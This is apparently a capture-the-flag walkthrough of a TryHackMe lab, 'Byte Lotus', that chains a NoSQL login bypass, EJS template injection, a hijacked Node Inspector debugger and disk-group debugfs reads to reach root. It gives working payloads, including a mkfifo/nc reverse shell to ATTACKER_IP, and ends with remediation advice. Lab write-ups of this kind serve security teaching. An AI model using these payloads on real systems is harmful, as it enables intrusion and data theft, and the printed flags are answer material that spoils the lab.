Skip to main content
— poolside intrusion report —

Do Not Disturb

Byte Lotus never forgets — and neither did whoever got there first. A full walkthrough from anonymous visitor to root, via a warm session, a booby-trapped template, and a debugger left cracked open on the beach.

Difficulty: Medium Platform: TryHackMe Stack: Node.js / Express / EJS / MongoDB Flags: 2

iOverview

Byte Lotus is a fictional poolside booking platform. Two services are exposed: a public web app on port 80 (guest/staff login, cabana bookings) and an FTP-style listener on port 20. The narrative frames the box around the idea that another attacker is already inside the system — the objective is to retrace his steps, escalate further, and reach root before (or after) he does.

The intended path chains three separate bugs, each one handing off to the next:

1
NoSQL injectionAuthentication bypass on /login via MongoDB operator injection — gets us a valid staff session.
2
Server-Side Template InjectionThe staff "booking confirmation" preview renders user-supplied EJS directly — arbitrary code execution as the poolside user.
3
Node Inspector RCE + disk-group privescA second service is running with its debugger port open on localhost. Hijacking it gives code execution as pipelinesvc — a user in the disk group, which allows raw block-device reads straight past filesystem permissions.

1Reconnaissance

A directory scan against the web app turned up two interesting paths:

/logout   (Status: 302) [Size: 23]  [--> /]
/staff    (Status: 403) [Size: 1547]

/staff existing but returning a 403 (rather than a redirect to login) suggested it was an authenticated route being gated on session state rather than simply hidden — worth coming back to once we had a session.

The login page posts to /login with a username/password pair. A quick test showed the endpoint happily accepted both URL-encoded and JSON bodies:

curl -i -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attendant","password":"attendant"}'

HTTP/1.1 401 Unauthorized
{"error":"Invalid credentials"}
Accepting arbitrary JSON bodies on an Express + MongoDB backend is the classic setup for NoSQL operator injection — worth testing before anything else.

2Auth bypass — NoSQL injection

Instead of sending string values for username/password, MongoDB query operators were submitted as JSON objects. If the backend passes these straight into a find() call without sanitisation, they get interpreted as query operators rather than literal values:

curl -i -X POST http://TARGET/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$gt":""},"password":{"$gt":""}}'

{"$gt":""} matches any document where the field is greater than an empty string — i.e. any document at all. The server responded with a 200, a fresh session cookie, and confirmation of a privileged role:

HTTP/1.1 200 OK
Set-Cookie: connect.sid=s%3A...; Path=/; HttpOnly

{"ok":true,"role":"staff"}

Replaying that cookie against the previously-403 route unlocked it:

curl -i http://TARGET/staff -H 'Cookie: connect.sid=s%3A...'

HTTP/1.1 200 OK
...
Signed in as attendant.

🚩 Flag 1

THM{w4rm_s3ss10n_h1j4ck3d}

Fittingly named — the "warm session" from the room's flavour text was exactly this: a session that shouldn't have been valid, hijacked via an unauthenticated NoSQL query that returned somebody's staff record.

3Code execution — EJS Server-Side Template Injection

The staff console (/staff) exposed a "customise the guest booking-confirmation message" feature — a raw EJS template textarea, posted to /staff/preview:

<textarea name="template">Dear <%= guest %>, your Byte Lotus cabana is confirmed.</textarea>

The comment invites use of <%= guest %> for personalisation — but nothing stops arbitrary EJS being submitted in the template field itself, which is then rendered server-side rather than treated as inert user data. A quick arithmetic check confirmed the injection:

curl -s -X POST http://TARGET/staff/preview \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=...' \
  -d '{"template":"<%= 7*7 %>","guest":"tester"}'

# Preview: 49

EJS <%= %> tags execute as real JavaScript inside the Node process. The bare require keyword isn't in scope at that point, but process.mainModule.require reaches Node's module loader directly, giving full command execution:

curl -s -X POST http://TARGET/staff/preview \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=...' \
  -d '{"template":"<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>","guest":"tester"}'

# Preview: uid=996(poolside) gid=996(poolside) groups=996(poolside)

From there, a standard mkfifo reverse shell was triggered through the same injection point to get an interactive foothold as poolside:

{"template":"<%= process.mainModule.require(\"child_process\").execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f\").toString() %>","guest":"tester"}
uid=996(poolside) gid=996(poolside) groups=996(poolside)
The user flag sat readable in /home/poolside/user.txt — same flag captured above, since that home directory belongs to the account we just landed on.

4Finding "him" — a second process, a second user

With shell access, enumerating running processes revealed something that didn't belong to the poolside app at all:

pipelin+  599   1  0  16:01 ?  /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside  601   1  0  16:01 ?  /usr/bin/node app.js

A second Node service — lotus-telemetry, running under its own pipelinesvc account — was up with the Node Inspector debugger bound to localhost:9229. That port isn't reachable from outside, but from inside the box (as poolside) it's fair game.

The inspector exposes a JSON listing of debuggable targets and a WebSocket endpoint for the actual Chrome DevTools Protocol:

curl -s http://127.0.0.1:9229/json/list

[{
  "title": "processor.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/fddd0508-2a18-4152-b80c-b12f517abaf4"
}]
The Node inspector protocol grants full Runtime.evaluate access — anything sent over that WebSocket runs as real JavaScript in the target process, with no auth beyond "can you reach the port." This is a well-known Node Inspector RCE pattern (CVE-2018-7160-adjacent class of bug), and it hands over the identity of whatever user launched that process.

Since no WebSocket client was preinstalled, a small pure-stdlib Python script handled the handshake and frame (un)masking manually — opening a raw socket, performing the WS upgrade, and sending a Runtime.evaluate command:

expr = "process.mainModule.require('child_process')" \
       ".execSync(Buffer.from('<base64 cmd>','base64').toString()," \
       "{shell:'/bin/sh',maxBuffer:1024*1024*20}).toString()"

send_frame(s, json.dumps({
  "id": 1, "method": "Runtime.evaluate",
  "params": {"expression": expr}
}))

Base64-encoding the shell command sidestepped every quoting headache from nesting shell → JSON → JS string literals. Confirming identity:

$ python3 inspect_rce.py "id"
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

5Privilege escalation — abusing the disk group

pipelinesvc's second group membership — disk — was the real prize. Members of that group can read raw block devices directly, which sidesteps every filesystem permission check on the mounted filesystem, since those permissions are only enforced by the kernel's file-level access controls, not the underlying device.

$ lsblk
nvme0n1     259:1   0    20G  0 disk
└─nvme0n1p1 259:2   0    20G  0 part /

$ ls -la /dev/nvme0n1p1
brw-rw---- 1 root disk 259, 1 ... /dev/nvme0n1p1

Rather than parsing the raw ext4 bytes by hand, debugfs (present on the box) reads the filesystem structure directly from a block device and can list/cat files without going through the normal permission layer at all:

$ debugfs -R 'ls -l /root' /dev/nvme0n1p1

   1493  100644 (1)  0  0    161  .profile
   1494  100644 (1)  0  0   3106  .bashrc
 256094   40700 (2)  0  0   4096  .ssh
    624  100600 (1)  0  0     34  root.txt

And then simply:

$ debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1

🚩 Flag 2

root.txt captured via debugfs

Root access without ever needing a password, sudo rights, or a kernel exploit — just group membership on a service account that was never meant to be reachable from outside, plus a debugger left open on the box.

Attack chain summary

StageVulnerabilityOutcome
1NoSQL injection on /loginAuthenticated as attendant (staff role)
2EJS Server-Side Template Injection on /staff/previewRCE as poolside — user flag
3Exposed Node Inspector debugger (localhost:9229)RCE as pipelinesvc
4disk group membership + debugfsRaw filesystem read as root — root flag

Remediation notes

  • NoSQLi: validate and coerce input types before querying MongoDB (e.g. reject non-string username/password), or use a schema/query-sanitisation library such as mongo-sanitize / express-mongo-sanitize.
  • SSTI: never render user-supplied strings as EJS templates. If customisable messages are a requirement, use a constrained templating approach (simple string substitution, not a full template engine) or a sandboxed renderer.
  • Exposed inspector: never run production services with --inspect enabled, even bound to localhost — any local code execution (including via an unrelated bug elsewhere on the box) can reach it. Use --inspect only in controlled development environments.
  • Disk group hygiene: avoid adding service accounts to disk (or other broad system groups) unless strictly required; it bypasses standard file permission enforcement entirely.

Byte Lotus never forgets · Stay Noticed™